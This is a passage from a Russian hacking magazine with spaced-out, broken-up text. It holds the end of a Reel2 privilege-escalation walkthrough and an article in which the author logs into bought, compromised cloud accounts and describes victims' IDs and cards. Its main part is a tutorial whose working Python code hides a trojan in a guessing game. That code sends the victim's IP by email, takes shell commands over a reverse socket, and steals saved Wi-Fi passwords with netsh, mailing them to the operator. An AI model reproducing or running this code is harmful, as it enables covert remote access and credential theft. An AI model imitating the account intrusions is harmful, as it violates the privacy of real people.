помощью getuid убежд  аемс  я, что работа ем в кон текс  те System с макс  ималь‐ 
ными при вилег  иями.

По лучен  ие сесс  ии Meterpreter с мак симальн  ыми прив  илег  иями

Так  им путем мы зах ватыва ем Reel2 и име ем над ней полн  ый кон троль.

ПРИВАТНОСТЬ

БОЛЬШЕ

НЕ ТВОИ
ДОКУМЕНТЫ

КАК ВЫГЛЯДЯТ ОБЛАЧНЫЕ ХРАНИЛИЩА
ГЛАЗАМИ ХАКЕРА

Сер висы вро де Dropbox или Megaupload — Kolchanoff
удобн  ое изоб ретение: мож но всегд  а иметь На самом деле писать статьи
под  рукой  нуж ные  документ  ы.  Но  если очень просто. Садишься за
не  заботитьс  я  о  безопас ности,  то
это  удобс тво  обер нется  утечк  ой  важн  ых клавиатуру и начинаешь
личн  ых  данн  ых.  В  этой  статье  я  нагл  ядно хлестать кровью.
покажу,  как  облачные  хра нилищ  а  и  фай‐ 
лообм  енни ки  превр  ащаю  тся  в  объ екты [email protected]
хакер ских атак, позв  оляю  т похитить важ ные
документ  ы  и  собр  ать  материа  л  для  шан‐ 
тажа.

WARNING

Мат  ери ал  носит  ознак  омит  ель ный  характ  ер  и  не
приз  ывае  т нарушать неп рикос новенн  ость час тной
жиз ни. Несан кцио  ни рован ный дос туп к информа‐ 
ции  угол  ов но  наказуе  м.  Автор  и  редакц  ия
не  несут  ответст  вен ности  за  любой  вред,  при‐ 
чинен ный с исполь зовани ем информац  ии из этой
статьи или в попыт ках пов торить опи сан ные дей‐ 
ствия.

Влад  ельц  ы  крупн  ых  файл  ообм  енни ков  соверш  енс тву ют  защиту  дан ных
и  обычн  о  пред лагаю  т  двух фактор ную  аутен тификац  ию,  но  вариа  нт  с  обыч‐ 
ными  логином  и  паролем  по‐преж нему  дос тупен  и  широко  исполь зует ся.
Играе  т ли это на руку хакерам? Опре делен но.

Спо собов  взло ма  мно го:  фишинг,  сти леры,  перебор  пароля  и  даже
высоко техн  ологичн  ые  ата ки  на  про вай деров  и  опер  атор  ов  сотовой  связ  и,
когд  а  перехв  атываю  т  коды  подт  вержден  ия.  Но  чаще  все го  при меняе  тся
метод  credential  stuffing  —  когд  а  для  вхо да  использ  уют ся  учет ные  данн  ые
из утек ших баз. Люди ведь не любят прид  умыв  ать разн  ые пароли для раз ных
сер висов,  а  менед жер  паролей  пока  так  и  остае  тся  техн  ологие  й  для  прод‐ 
винутых поль зовател  ей.

ПОЧЕМ ЧУЖИЕ ПАРОЛИ?
Ко неч но же, учет ными дан ными активно тор гуют в злачн  ых уголк  ах интерне та.
Я обо шел пять таких мест  ечек, что бы изу чить предл  ожение и цены. В сред нем
они такие:
• 300–350  дол ларов  за  мил лион  комб  инаций  логин‐пароль  или  поч‐ 

та‐пароль;
• 400–500  дол ларов  за  мил лион  комб  инаций  из  корп  оратив ных  поч товых

ящи ков  и  паролей  к  ним.  Потенц  иаль но  это  наибо лее  лакомый  кусочек
для мошенн  иков;
• 250  дол ларов  за  мил лион  ком бинаций  в  «микс  ован ных  базах»,  где  могут
попадать ся любые домены.

Впро чем,  быва ет  как  дешевл  е,  так  и  дороже.  А  еще  част  о  попадаю  тся  сами
сли тые  базы,  но  разг  реб  ать  гигант ские  дамп  ы  —  отдель ное  неп ростое
занятие.

И  конеч но,  вовс  ю  про дают ся  стил  еры,  при  помощи  которых  можн  о  зав‐ 
ладеть  чужими  учет ками.  Нап ример,  сти лер  AZORult  сто ит  100  долл  аров,
а UFR Stealer все го в райо  не 20–50.

INFO

Чит  ай  так же:  «Тро яны  на  про дажу.  Изуч  аем  под‐ 
польн  ый рынок вре доносн  ого ПО».

ЧТО В ОБЛАЧКЕ ЛЕЖИТ
К нам в руки попало нес кольк  о учет ных записей, подобн  ых тем, что прод  ают‐ 
ся на под поль ных форумах. Они были отобр  аны спец  иальн  о, поэто му все они
откры вались  и  во  всех  из  них  что‐нибудь  да  лежало.  Сей час  мы  с  тобой  заг‐ 
лянем  туда.  Естест  вен но,  исклю читель но  в  иссле дова тельс  ких  целях.  Заходя
в  аккау  нты,  я  лишь  делал  скрин шоты,  что бы  прод  емонс трир  овать  типичн  ое
содерж  имое.

Пример 1. Заброшка
Пе ред нами акка унт Dropbox, соз данный в Гер мании. Внут ри две папк  и: одна
пус тая, в друг  ой — фотог рафии авто моби лей и докумен тов, вероя  тно связ  ан‐ 
ных с повр  ежден  иями этих авто моби лей. Все го 161 сни мок; посл  еднее изме‐ 
нение датируе  тся нояб рем 2020 года.

Взлом щику  или  шант  ажист  у  здесь  ловить,  ско рее  все го,  нечего,  к  тому  же
никакой  активнос ти  на  этом  акка унте  уже  давн  о  нет,  а  зна чит,  вероя  тно,  он
забр  ошен. Как, по всей видимос ти, и добр  ая полови на прод  ающихс  я уче ток.

По чему люди заб расываю  т свои хра нилищ  а? Прич  ин может быть множ  ес‐ 
тво, но самая расп  ростра ненн  ая — это забытый пароль и нежела ние копать‐ 
ся  с  его  восс  тан  овл  ени ем.  Зато  лич ные  данн  ые  про дол жат  там  лежать
годами.
Пример 2. Чужие паспорта
Сно ва Dropbox, и содерж  имое на этот раз более занимат  ель ное.

Речь, конеч но, не о фотогр  афи ях вла дель ца, расс  ека ющег  о снег на сноу  бор‐ 
де. Речь — о целом склад  е докумен тов, явно при над лежащих не ему и не чле‐ 
нам его семьи.

Слож но ска зать, как влад  елец акка унта соб рал все это и с какой целью хра‐ 
нит.  Возм  ожно,  он  имел  на  это  пол ное  пра во.  Но  неп рият но  здесь  дру гое:
мысль  о  том,  что  ска ны  твое  го  пас порта  или  водитель ског  о  удост  оверен  ия
могут  попасть  (и  регуляр но  попада ют)  в  руки  людям,  которые  не  слы шали
об эле мент  арных мерах безопас ности.
Пример 3. Кредитка
Зак  инуть в Dropbox фотог рафии вечери нок — впол не норм  аль ная идея. А вот
добавл  ять к этой кол лекции кре дит ную кар ту, да еще и сфо тогр  афиров  анн  ую
с обеи  х сто рон... мяг ко говоря, не очень.

В той же папк  е лежал ворох документ  ов хозяйк  и и дейс  тву ющий QR‐код груп‐ 
пы в WhatsApp. Правд  а, все го с одним участ  ник  ом. Загл  ядывать я пос теснял‐ 
ся.

Пример 4. Платный акк
В этом акка унте на Dropbox не было бы ничего прим  ечат  ельн  ого, не будь он
опла чен  на  год  впе ред.  При  этом  прак тичес ки  не  исполь зовалс  я  —  занято
всег  о 3,6 Гбайт из 2 Тбайт.

По хоже,  акк  прос то  забыт,  и  хакер  может  использ  овать  его  любым  кре атив‐ 
ным спо собом.
Пример 5. Пароль в корзине
Серв  ис под назв  ани ем pCloud не особ  енн  о известен, но и такие встреч  ают ся
в базах скомп  ро мети рованн  ых акка унтов. При меча тельн  о здесь вот что: если
ты  отвлеч  ешьс  я  от  чужих  фотог рафий  из  отпуска  и  прис мотришьс  я  к  панели
сле ва,  то  заметишь,  что  там  сре ди  проч  его  перечисл  ено  шифр  ован ное  хра‐ 
нили ще.

А  еще  там  есть  кор зина,  а  в  корз  ине  —  какие‐то  фай лы.  В  одном  из  них  (он
называл ся wtf.dat) лежал длинн  ый ключ, который успешно подошел к разд  елу
с шиф рование  м.

Ви дим рос сийс  кие пасп  орта, кред  ит ки, пра ва и стра ховые удос товере ния.

Мо раль: корз  ину нуж но иногд  а выбр  асывать, а если кинул туда что‐то важ ное,
то луч ше и очист  ить сраз  у.
Пример 6. Стволы
А  вот  и  аккау  нт,  вла делец  которог  о  факт  ическ  и  соб рал  на  себя  кол лекцию
готово го ком про мата. Сре ди уже при выч ных документ  ов — его авто порт  рет  ы
с  разн  ых  ракурс  ов,  вклю чая  крайн  е  интимные,  а  так же  оруж  ие  —  обычн  ое
и позоло ченн  ое.

Пример 7. Пиратство
Есл  и  ты  думае  шь,  что  подк  ован ный  по  част  и  IT  человек  относ  ит ся  к  защите
сво их данн  ых намн  ого серье  знее, то ты оши баешь ся. Вот учет ка на MediaFire,
при над лежащая  какому‐то  рус ског  овор  яще му  товарищ  у.  Он  склад  ируе  т  там
пират ский софт и насобир  ал уже с пол сотни прогр  амм и утил  ит.

До рогой влад  елец, если ты вдруг сей час узнал свое добр  о, обра ти вни мание
на то, что Disk Defrag Ultimate и некото рые друг  ие твои фай лы вызываю  т бес‐ 
покойс  тво  у  анти виру са.  И  конечн  о,  беги  менять  пароли  вез де  где  толь ко
мож но.

Пример 8. Inception
Ну уж хакеры‐то дол жны что‐то понимать в защите акка унтов? Дол жны, конеч‐ 
но,  и,  ско рее  все го,  понима ют.  Но  при вычк  у  снов  а  и  снов  а  вбив  ать  в  поле
«пароль» одни и те же бук вы изжить не так‐то прост  о. Даже ког да собирае  шь‐ 
ся скла диро вать фай лы типа «кар тон.txt».

Чег  о  толь ко  не  наш лось  в  этом  аккау  нте  на  MediaFire:  и  разн  ые  методы
заработ ка,  и  обу чение  кард  ингу,  и  какие‐то  мут ные  схем  ы,  и  материа  лы
для работы в этих схем  ах, и еще куча самой раз ной незаконн  ой инфы.

Везд  е, правд  а, ноль скач  иван  ий, так что перед нами, вероя  тно, бэкап. Мы
тоже  не  стал  и  прит рагиватьс  я  к  этим  сомн  итель ным  росс  ыпям,  и  тебе
не советуе  м.
Примеры 9 и 10. Спецы по ИБ
Ду маешь,  это  был  еди нич ный  слу чай?  Вот  еще  два  акка унта  горе‐хакеров
на Megaupload. В одном лежат курс  ы по Metasploit, набор утил  ит для взло ма,
какой‐то гайд по веб‐обо роне.

А вот кто‐то хран  ит свои нас тупательн  ые ути литы: скан  ер веб‐уязв  имост  ей —
Acunetix уже уста рев шей верс  ии 10.0 и фрей мворк Cobalt Strike.

INFO

Подр  обнее  об  Acunetix  читай  в  статье  в  статье
«Хак  в  один  клик»),  о  Cobalt  Strike  —  в  нашем
материа  ле «Фрей мворк  и для пост  эксп  луа  тац  ии».

В  обо их  слу чаях  на  фай лы  прост  авле ны  внешн  ие  ссыл ки,  а  зна чит,  кто‐то
где‐то их запос тил.

КАК НЕ СТАТЬ ЖЕРТВОЙ ВЗЛОМА
Ду маю,  бес смыс ленно  говорить,  что  все  рас смот ренные  аккау  нты  не  были
защищен  ы как сле дует. Влад  ель цам сто ило собл  юдать хотя бы базовые пра‐ 
вила цифр  овой гигие  ны.

Уверн  уть ся от целевой атак  и может быть пробл  ематич но, но боль шинс тво
взло мов  —  масс  овые.  В  их  ходе  для  под бора  паролей  при меня ются
огромные  базы  или  утечк  и  с  раз ных  ском пром  ети рованн  ых  сер висов.
Для защиты в таком случ  ае дос таточ но след  овать прос тым рекомен дация  м.

Главн  ое  из  них  —  надеж ные  и,  что  даже  более  важн  о,  раз ные  пароли.
Для  их  соз дания  и  хра нения  обыч но  использ  уют  менед жер  паролей:  1Pass‐
word, KeePass, маков ский iCloud Keychain и друг  ие, выбирай на свой вкус.

INFO

По стат  ист  ике на 2020 год, каж дый 142‐й пароль
в мире — 123456.

Двух фактор ная аутент  ифика ция, хоть и име ет свои огра ничен  ия и недос татки,
но тоже стан  ет серье  зной прег радой для желаю  щих подобр  ать твой пароль.
Не  прен  ебр  егай  ей,  если  есть  возм  ожность,  и  отда вай  предп  очтен  ие  тем
серв  исам, где она под держи вает ся.

Ну  и  наконец,  шифр  ование  —  это  пос ледний  баст  ион,  который  защитит
важ ные  докумен ты,  даже  если  аккау  нт  таки  взлом  ают.  Глав ное  —  не  ставь
на конт  ейн  ер все тот же пароль и не оставляй его лежать рядом!

При этом сами раз работ чики облачных сер висов тоже не сидят слож  а руки
и дела ют что могут, что бы обе зопас  ить данн  ые от поль зовател  ей. Нап ример,
серв  исы Google не тольк  о врем  я от вре мени прист  ают с просьб  ой добавить
вто рой фак тор, но даже без него будут опо вещать о попыт ках дост  упа к акка‐ 
унту,  а  брут форс  прес  екаю  т  на  корн  ю.  Так  что  остае  тся  все го  лишь  не  под‐ 
рывать и не игно риро вать все эти усил  ия.

КОДИНГ

КРАДУЩИЙСЯ

ПИТОН

Валерий Линьков
Дипломированный
специалист и инструктор Cis‐
co, основатель академии Cis‐
co, автор технических статей
нацбезопасности России,
сисадмин, ИБшник,

питонист, гик
valerylinkov.ru

СОЗДАЕМ ПРОСТЕЙШИЙ ТРОЯН
НА PYTHON

В  этой  статье  я  расс  ка жу,  как  написать  на  Python  прос тей‐ 
ший тро ян с удал  ен ным дос тупом, а для больш  ей скрытн  ости
мы  встрои  м  его  в  игру.  Даже  если  ты  не  зна ешь  Python,  ты
смож  ешь  лучш  е  понять,  как  устрое  ны  такие  вре донос  ы,
и поуп ражнятьс  я в прогр  аммир  ова нии.

Ко неч но, при веден ные в статье скрип ты никак не годят ся для использ  ования
в боевых усло виях: обфуска ции в них нет, принц  ипы работы прос ты как пал ка,
а  вред  онос ные  фун кции  отсутст  вую  т  напр  очь.  Тем  не  менее  при  некотор  ой
смек  ал ке  их  возм  ожно  использ  овать  для  несл  ожных  пакост  ей  —  напр  имер,
вырубить  чей‐нибудь  компь ютер  в  клас се  (или  в  офи се,  если  в  класс  е  ты
не наиг рался).

INFO

Чит  ай  так же:  «Ядов  итый  питон.  Пишем  на  Python
прос тей шую  мал варь:  локер,  шиф роваль щик
и вирус».

ТЕОРИЯ
Итак,  что  вообщ  е  такое  тро ян?  Вирус  —  это  прогр  амма,  глав ная  задача
которой  —  самоко пиро вание.  Червь  активно  расп  ростра няет ся  по  сети
(типичн  ый  при мер  —  «Петя»  и  WannaCry),  а  тро ян  —  скры тая  вре донос ная
прогр  амма, которая маск  иру ется под «хороший» софт.

Ло гика  подобн  ого  зараже ния  в  том,  что  польз  ователь  сам  ска чает  себе
вре донос  на  компью  тер  (напр  имер,  под  видом  кряк нутой  прог раммы),  сам
отклю чит защит ные механиз мы (ведь прогр  амма выгл  ядит хорошей) и захочет
остав  ить надол го. Хакеры и тут не дремл  ют, так что в новост  ях то и дело мель‐ 
кают  сооб щения  о  новых  жер твах  пират ско го  ПО  и  о  шифр  оваль щиках,
поража ющих любител  ей халявы. Но мы‐то зна ем, что бес плат ный сыр бывае  т
толь ко в мусорк  е, и сегод ня научим ся очень прост  о начинять тот самый сыр
чем‐то не впол не ожи даемым.

WARNING

Вся  информа ция  пре дос тавлен  а  исключ  итель но
в ознак  оми тельн  ых целях. Ни автор, ни редак ция
не  несут  ответст  вен ности  за  любой  возм  ожный
вред,  прич  инен ный  матери ала ми  данн  ой  статьи.
Несан кцио  нир  ован ный  дост  уп  к  информа ции
и нарушен  ие работы сис тем могут прес ледовать‐ 
ся по закону. Помн  и об этом.

ОПРЕДЕЛЯЕМ IP
Снач  ала  нам  (то  есть  нашему  тро яну)  нужн  о  опре делитьс  я,  где  он  оказ  ал ся.
Важн  ая  часть  тво ей  информац  ии  —  IP‐адрес,  по  которо му  с  зараженн  ой
машиной мож но будет соедин  ить ся в дальн  ейшем.

Нач нем писать код. Сра зу импорти руем биб лиотек  и:

import socket
from requests import get

Обе библ  иотек  и не пост  авляю  тся с Python, поэтом  у, если они у тебя отсутс‐ 
тву ют, их нужн  о устан  овить команд  ой pip.

pip install socket 
pip install requests 

INFO

Ес ли  ты  видишь  ошибк  у,  что  у  тебя  отсутс твуе  т
pip,  снач  ала  нужн  о  устан  овить  его  с  сайт  а  pyp‐
i.org.  Любопыт но,  что  рекомен дуемый  спос  об
устан  овк  и  pip  —  через  pip,  что,  конечн  о,  очень
полез но, ког да его нет.

Код  получе ния  внеш него  и  внут реннег  о  адрес  ов  будет  таким.  Обра ти  вни‐ 
мание,  что,  если  у  жерт  вы  нес коль ко  сетевых  интерфейс  ов  (напр  имер,  Wi‐Fi
и Ethernet одноврем  ен но), этот код может вест  и себя неп равиль но.

# Определяем имя устройства в сети
hostname = socket.gethostname()

# Определяем локальный (внутри сети) IP‐адрес
local_ip = socket.gethostbyname(hostname)

# Определяем глобальный (публичный / в интернете) IP‐адрес
public_ip = get('http://api.ipify.org').text

Ес ли с локальн  ым адрес  ом все более‐менее прос то — находим имя устрой‐ 
ства в сети и смот рим IP по имен  и устрой ства, — то вот с пуб личным IP все
немн  ого сложн  ее.

Я  выбр  ал  сайт  api.ipify.org,  так  как  на  выходе  нам  выда ется  толь ко
одна  стро ка  —  наш  внеш ний  IP.  Из  связ ки  публ  ичный  +  локальн  ый  IP  мы
получим почт  и точн  ый адрес устрой ства.

Вы вест  и информа цию еще про ще:

print(f'Хост: {hostname}')
print(f'Локальный IP: {local_ip}')
print(f'Публичный IP: {public_ip}')

Ни ког да не встре чал конс трук ции типа print(f'{}')? Бук ва f озна чает фор‐ 
матиро ван ные  стро ковые  литерал  ы.  Прост  ыми  слов  ами  —  прог рам мные
вставк  и прям  о в стро ку.

INFO

Строк  овые литера лы не тольк  о хорошо смотр  ятся
в коде, но и помога ют избе гать ошиб  ок типа сло‐ 
жения  строк  и  чисел  (Python  —  это  тебе
на JavaScript!).

Фи наль ный код:

import socket
from requests import get

hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text

print(f'Хост: {hostname}')
print(f'Локальный IP: {local_ip}')
print(f'Публичный IP: {public_ip}')

За пуст  ив  этот  скрипт,  мы  смож  ем  опред  елить  IP‐адрес  нашего  (или  чужого)
компь юте ра.

БЭККОННЕКТ ПО ПОЧТЕ
Теп  ерь напишем скрипт, который будет прис  ылать нам письм  о.

Имп  орт новых библ  иотек (обе нуж но пред варительн  о пос тавить через pip
install):

import smtplib as smtp
from getpass import getpass

Пиш  ем базовую информа цию о себе:

# Почта, с которой будет отправлено письмо
email = '[email protected]'

# Пароль от нее (вместо ***)
password = '***'

# Почта, на которую отправляем письмо
dest_email = '[email protected]'

# Тема письма
subject = 'IP'

# Текст письма
email_text = 'TEXT'

Дальш  е сфор миру ем пись мо:

message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, 
dest_email, subject, email_text)

Посл  едний  штрих  —  нас тро ить  под клю чение  к  почт  овому  серв  ису.  Я  поль‐ 
зуюсь Яндекс.Почт  ой, поэтом  у нас тройк  и выс тавлял для нее.

server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP‐сервер Яндекса
server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только 
фатальные ошибки)
server.ehlo(email) # Отправляем hello‐пакет на сервер
server.login(email, password) # Заходим на почту, с которой будем 
отправлять письмо
server.auth_plain() # Авторизуемся
server.sendmail(email, dest_email, message) # Вводим данные для 
отправки (адреса свой и получателя и само сообщение)
server.quit() # Отключаемся от сервера

В  стро ке  server.ehlo(email)  мы  использ  уем  коман ду  EHLO.  Боль шинст  во
сер веров  SMTP  под держи вают  ESMTP  и  EHLO.  Если  сер вер,  к  которо му  ты
пытае  шьс  я подк  лю читьс  я, не подд  ержив  ает EHLO, мож но исполь зовать HELO.

Пол ный код этой част  и тро яна:

import smtplib as smtp
import socket
from getpass import getpass
from requests import get

hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text

email = '[email protected]'
password = '***'
dest_email = '[email protected]'
subject = 'IP'
email_text = (f'Host: {hostname}\nLocal IP: {local_ip}\nPublic IP: {
public_ip}')

message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(email, 
dest_email, subject, email_text)

server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()

Зап  уст  ив этот скрипт, получае  м письм  о.

Пись мо с IP

Этот скрипт я про верил на VirusTotal. Резуль тат на скри не.

→Продолжение статьи

КОДИНГ ←  НАЧАЛО СТАТЬИ

КРАДУЩИЙСЯ ПИТОН
СОЗДАЕМ ПРОСТЕЙШИЙ ТРОЯН НА PYTHON

ТРОЯН
По задум ке, тро ян предс  тав ляет собой клие  нт‐серв  ерное прил  оже ние с кли‐ 
ентом  на  машине  атак  уемо го  и  серв  ером  на  запус кающей  машине.  Долж  ен
быть реализ  ован макс  ималь ный удал  ен ный дост  уп к сис теме.

Как обычн  о, нач нем с биб лиотек:

import random
import socket
import threading
import os

Для  начала  напишем  игру  «Уга дай  чис ло».  Тут  все  край не  прост  о,  поэто му
задер живатьс  я дол го не буду.

# Создаем функцию игры
def game():

   # Берем случайное число от 0 до 1000
   number = random.randint(0, 1000)
   # Счетчик попыток
   tries = 1
   # Флаг завершения игры
   done = False

   # Пока игра не закончена, просим ввести новое число
   while not done:
       guess = input('Введите число: ')

       # Если ввели число
       if guess.isdigit():
           # Конвертируем его в целое
           guess = int(guess)
           # Проверяем, совпало ли оно с загаданным; если да, 
опускаем флаг и пишем сообщение о победе
           if guess == number:
               done = True
               print(f'Ты победил! Я загадал {guess}. Ты 
использовал {tries} попыток.')
           # Если же мы не угадали, прибавляем попытку и проверяем 
число на больше/меньше
           else:
               tries += 1
               if guess > number:
                   print('Загаданное число меньше!')
               else:
                   print('Загаданное число больше!')
       # Если ввели не число — выводим сообщение об ошибке и просим 
ввести число заново
       else:
           print('Это не число от 0 до 1000!')

INFO

За чем столь ко слож ностей с пров  ер кой на чис ло?
Можн  о  было  прос то  написать  guess  =  int(
input('Введите  число:  ')).  Если  бы  мы
написа ли  так,  то  при  ввод  е  чего  угодн  о,  кром  е
числ  а,  выпадал  а  бы  ошибк  а,  а  это го  допус тить
нельз  я, так как ошибк  а заст  авит прог рамму оста‐ 
новитьс  я и обру бит соедин  ение.

Вот код нашего тро яна. Ниже мы будем разб  ирать ся, как он работа ет, что бы
не про говар  ивать заново базовые вещи.

# Создаем функцию трояна
def trojan():

   # IP‐адрес атакуемого
   HOST = '192.168.2.112'
   # Порт, по которому мы работаем
   PORT = 9090

   # Создаем эхо‐сервер
   client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   client.connect((HOST, PORT))

   while True:
       # Вводим команду серверу
       server_command = client.recv(1024).decode('cp866')
       # Если команда совпала с ключевым словом 'cmdon', запускаем 
режим работы с терминалом
       if server_command == 'cmdon':
           cmd_mode = True
           # Отправляем информацию на сервер
           client.send('Получен доступ к терминалу'.encode('cp866'))
           continue
       # Если команда совпала с ключевым словом 'cmdoff', выходим 
из режима работы с терминалом
       if server_command == 'cmdoff':
           cmd_mode = False
       # Если запущен режим работы с терминалом, вводим команду в 
терминал через сервер
       if cmd_mode:
           os.popen(server_command)
       # Если же режим работы с терминалом выключен — можно вводить 
любые команды
       else:
           if server_command == 'hello':
               print('Hello World!')
       # Если команда дошла до клиента — выслать ответ
       client.send(f'{server_command} успешно отправлена!'.encode(
'cp866'))

Сна чала нужн  о разоб ратьс  я, что такое сокет и с чем его едят. Сокет прос тым
язык  ом — это условная вил ка или розет ка для прогр  амм. Сущест  ву ют клие  нт‐ 
ские  и  серв  ерные  сокеты:  серв  ерный  просл  ушивае  т  опред  елен ный  порт
(розет ка), а кли ент ский подк  лю чает ся к сер веру (вил ка). Пос ле того как уста‐ 
нов лено соедин  ение, начинае  тся обмен дан ными.

Итак,  стро ка  client  =  socket.socket(socket.AF_INET,  socket.SOCK‐
_STREAM) созд  ает эхо‐сер вер (отправ  или запр  ос — получи ли ответ). AF_INET
означ  ает  работу  с  IPv4‐адре саци ей,  а  SOCK_STREAM  ука зывае  т  на  то,  что  мы
использ  уем  TCP‐подк  лю чение  вмест  о  UDP,  где  пакет  посыла ется  в  сеть
и далее не отсле живае  тся.

Стро ка client.connect((HOST, PORT)) указ  ыва ет IP‐адрес хос та и порт,
по которым будет про изво дить ся подк  лю чение, и сраз  у под клю чает ся.

Фун кция client.recv(1024) при нима ет данн  ые из сокета и явля ется так
называ емым  бло кирую  щим  вызовом.  Смысл  такого  вызова  в  том,  что,  пока
коман да  не  передас тся  или  не  будет  отверг  ну та  друг  ой  стор  оной,  вызов
будет про дол жать выпол нятьс  я. 1024 — это количест  во задей ство ванн  ых бай‐ 
тов  под  буфер  при ема.  Нельз  я  будет  прин  ять  боль ше  1024  байт  (1  Кбайт)
за один раз, но нам это и не нужн  о: час то ты руками ввод  ишь в конс  оль боль‐ 
ше 1000 симв  олов? Пытать ся мно гок ратно увел  ичить раз мер буфера не сто‐ 
ит — это зат ратно и бесп  олезн  о, так как нужен боль шой буфер при мер но раз
в никогд  а.

Ко манд  а decode('cp866') декоди рует получен ный байт  овый буфер в тек‐ 
сто вую  строк  у  сог ласно  задан ной  кодиров ке  (у  нас  866).  Но  почему  именн  о
cp866? Зайд  ем в команд  ную стро ку и введ  ем коман ду chcp.

Те кущая кодовая стран  ица

Ко диров ка  по  умол чанию  для  рус ско гово рящих  устрой ств  —  866,  где  кирил‐ 
лица  добавл  ена  в  латини цу.  В  англо язычн  ых  вер сиях  сист  емы  исполь зует ся
обыч ный Unicode, то есть utf‐8 в Python. Мы же говорим на рус ском язык  е,
так что подд  ержив  ать его нам прос то необх  одимо.

INFO

При желании кодиров ку мож но поменять в коман‐ 
дной строк  е, набр  ав пос ле chcp ее номер. Юни‐ 
код имее  т номер 65001.

При  прие  ме  команд  ы  нуж но  опре делить,  не  слу жебн  ая  ли  она.  Если  так,
выпол няем опре деленн  ые дей ствия, ина че, если вклю чен терм  инал, перенап‐ 
равля ем  команд  у  туда.  Недос таток  —  резуль тат  выполн  ения  так  и  остае  тся
необ работан ным, а его хорошо бы отправл  ять нам. Это будет тебе домашн  им
задани ем:  реализ  овать  эту  фун кцию  можн  о  от  силы  минут  за  пят надцать,
даже если гуг лить кажд  ый шаг.

Рез  уль тат про вер ки кли ента на VirusTotal порадов  ал.

Ба зовый  тро ян  написан,  и  сей час  можн  о  сде лать  очень  мног  ое  на  машине
ата куемо го, ведь у нас дос туп к команд  ной строк  е. Но почему бы нам не рас‐ 
ширить набор функ  ций? Давай еще пароли от Wi‐Fi ста щим!

WI-FI-СТИЛЕР
За дача  —  соз дать  скрипт,  который  из  команд  ной  стро ки  узна ет  все  пароли
от дост  упных сетей Wi‐Fi.

Прис тупае  м. Импорт биб лиотек:

import subprocess
import time

Мо дуль  subprocess  нужен  для  созд  ания  новых  проц  есс  ов  и  соедин  ения  c
потока ми  стан дарт  но го  ввод  а‐вывода,  а  еще  для  получе ния  кодов  воз вра та
от этих про цес сов.

Итак, скрипт для извлеч  ения паролей Wi‐Fi:

# Создаем запрос в командной строке netsh wlan show profiles, 
декодируя его по кодировке в самом ядре
data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles'])
.decode('cp866').split('\n')

# Создаем список всех названий всех профилей сети (имена сетей)
Wi‐Fis = [line.split(':')[1][1:‐1] for line in data if "Все профили 
пользователей" in line]

# Для каждого имени...
for Wi‐Fi in Wi‐Fis:

   # ...вводим запрос netsh wlan show profile [имя_сети] key=clear
   results = subprocess.check_output(['netsh', 'wlan', 'show', 
'profile', Wi‐Fi, 'key=clear']).decode('cp866').split('\n')
   # Забираем ключ
   results = [line.split(':')[1][1:‐1] for line in results if 
"Содержимое ключа" in line]
   # Пытаемся его вывести в командной строке, отсекая все ошибки
   try:
       print(f'Имя сети: {Wi‐Fi}, Пароль: {results[0]}')
   except IndexError:
       print(f'Имя сети: {Wi‐Fi}, Пароль не найден!')

Вве дя коман ду netsh wlan show profiles в коман дной стро ке, мы получим
след  ующее.

netsh wlan show profiles

Есл  и  рас парсить  вывод  выше  и  подс  тав  ить  имя  сети  в  коман ду  netsh  wlan 
show profile [имя сети] key=clear, результ  ат будет как на кар тинке. Его
мож но разоб рать и вытащить пароль от сети.

netsh wlan show profile ASUS key=clear

Вер дикт VirusTotal

Ост  алась  одна  пробл  ема:  наша  изнач  аль ная  задум ка  была  заб рать  пароли
себе, а не показыв  ать их польз  овате лю. Испра вим же это.

До пишем  еще  один  вариа  нт  коман ды  в  скрипт,  где  обраб  аты ваем  наши
коман ды из сети.

if server_command == 'Wi‐Fi':

   data = subprocess.check_output(['netsh', 'wlan', 'show', 
'profiles']).decode('cp866').split('\n')

   Wi‐Fis = [line.split(':')[1][1:‐1] for line in data if "Все 
профили пользователей" in line]

   for Wi‐Fi in Wi‐Fis:
       results = subprocess.check_output(['netsh', 'wlan', 'show', 
'profile', Wi‐Fi, 'key=clear']).decode('cp866').split('\n')
       results = [line.split(':')[1][1:‐1] for line in results if 
"Содержимое ключа" in line]
       try:
           email = '[email protected]'
           password = '***'
           dest_email = '[email protected]'
           subject = 'Wi‐Fi'
           email_text = (f'Name: {Wi‐Fi}, Password: {results[0]}')

           message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(
email, dest_email, subject, email_text)

           server = smtp.SMTP_SSL('smtp.yandex.com')
           server.set_debuglevel(1)
           server.ehlo(email)
           server.login(email, password)
           server.auth_plain()
           server.sendmail(email, dest_email, message)
           server.quit()
       except IndexError:
           email = '[email protected]'
           password = '***'
           dest_email = '[email protected]'
           subject = 'Wi‐Fi'
           email_text = (f'Name: {Wi‐Fi}, Password not found!')

           message = 'From: {}\nTo: {}\nSubject: {}\n\n{}'.format(
email, dest_email, subject, email_text)

           server = smtp.SMTP_SSL('smtp.yandex.com')
           server.set_debuglevel(1)
           server.ehlo(email)
           server.login(email, password)
           server.auth_plain()
           server.sendmail(email, dest_email, message)
           server.quit()

INFO

Этот  скрипт  прост  как  два  рубл  я  и  ожи дает  уви‐ 
деть  рус скоя  зыч ную  сист  ему.  На  друг  их  язык  ах
это не сраб  отае  т, но исправ  ить поведе ние скрип‐ 
та можн  о прос тым выбором раз делител  я из сло‐ 
варя,  где  ключ  —  обнар  ужен ный  на  компью  те ре
язык,  а  зна чение  —  тре буемая  фра за  на  нужн  ом
язы ке.

Все коман ды это го скрип та уже под робно разобр  аны, так что я не буду пов‐ 
торять ся, а прос то покажу скринш  от из свое  й почт  ы.

Ре зуль тат

Доработки
Ко нечн  о, тут мож но дорабо тать прим  ер но все — от защиты канала переда чи
до  защиты  самого  кода  нашего  вре доно са.  Методы  свя зи  с  управля ющим  и
сер верами  зло умыш ленни ка  тоже  обычн  о  использ  уют ся  дру гие,  а  работа
